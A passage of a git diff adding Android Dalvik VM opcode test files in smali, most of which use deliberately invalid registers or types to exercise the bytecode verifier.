+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.smali
new file mode 100644
index 0000000..5802686
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_3.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 234234
+       cmpl-float v0, v1, v7
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.smali
new file mode 100644
index 0000000..d63cd04
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_4.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpl-float v0, v6, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.smali
new file mode 100644
index 0000000..1aed194
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_5.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpl-float v0, v9, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.smali
new file mode 100644
index 0000000..b0cad4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_6.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 9
+       cmpl-float v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.smali
new file mode 100644
index 0000000..6468569
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_16_1.java"
+.class  public Ldot/junit/opcodes/const_16/d/T_const_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 255
+
+       const/16 v254, -20000
+       return v254
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.smali
new file mode 100644
index 0000000..c424437
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_16_3.java"
+.class  public Ldot/junit/opcodes/const_16/d/T_const_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v3, 1234
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.smali
new file mode 100644
index 0000000..f1327ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_16/d/T_const_16_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_16_4.java"
+.class  public Ldot/junit/opcodes/const_16/d/T_const_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const/16 v1, 1234
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.smali
new file mode 100644
index 0000000..fc12cbf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_4_1.java"
+.class  public Ldot/junit/opcodes/const_4/d/T_const_4_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 16
+
+       const/4 v15, -4
+       return v15
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.smali
new file mode 100644
index 0000000..7eafb5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_4_3.java"
+.class  public Ldot/junit/opcodes/const_4/d/T_const_4_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/4 v3, 1
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.smali
new file mode 100644
index 0000000..187d615
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_4/d/T_const_4_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_4_4.java"
+.class  public Ldot/junit/opcodes/const_4/d/T_const_4_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const/4 v1, 2
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.smali
new file mode 100644
index 0000000..bea9b30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_class/d/T_const_class_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_class_2.java"
+.class  public Ldot/junit/opcodes/const_class/d/T_const_class_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Class;
+.registers 255
+
+       const-class v254, I
+       return-object v254
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.smali
new file mode 100644
index 0000000..98c2aa2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_high16_1.java"
+.class  public Ldot/junit/opcodes/const_high16/d/T_const_high16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 255
+
+       const/high16 v254, 0x12340000
+       return v254
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.smali
new file mode 100644
index 0000000..a6398b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_high16_3.java"
+.class  public Ldot/junit/opcodes/const_high16/d/T_const_high16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/high16 v3, 0x12340000
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.smali
new file mode 100644
index 0000000..5c87013
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_high16/d/T_const_high16_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_high16_4.java"
+.class  public Ldot/junit/opcodes/const_high16/d/T_const_high16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const/high16 v1, 0x12340000
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.smali
new file mode 100644
index 0000000..de6cd62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_1.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string v254, "android"
+       return-object v254
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.smali
new file mode 100644
index 0000000..674b9cb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_3.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-string v3, "abc"
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.smali
new file mode 100644
index 0000000..97eb08e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_4.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-string v1, "abc"
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.smali
new file mode 100644
index 0000000..7d5989c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string/d/T_const_string_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_5.java"
+.class  public Ldot/junit/opcodes/const_string/d/T_const_string_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string v254, "android"
+       return-object v254
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.smali
new file mode 100644
index 0000000..e3c7da1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_1.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string/jumbo v254, "android jumbo"
+       return-object v254
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.smali
new file mode 100644
index 0000000..401572e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_3.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-string/jumbo v3, "abc jumbo"
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.smali
new file mode 100644
index 0000000..c12f0cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_4.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-string/jumbo v1, "abc jumbo"
+
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.smali
new file mode 100644
index 0000000..ac2af74
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_5.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string v254, "android jumbo"
+       return-object v254
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.smali
new file mode 100644
index 0000000..515f019
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_1.java"
+.class  public Ldot/junit/opcodes/const_wide/d/T_const_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()D
+.registers 3
+
+       const-wide v1, 1.2345678901232324E51
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.smali
new file mode 100644
index 0000000..5ee1e47
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_3.java"
+.class  public Ldot/junit/opcodes/const_wide/d/T_const_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v3, 1234
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.smali
new file mode 100644
index 0000000..81ee5af
--- /dev/null
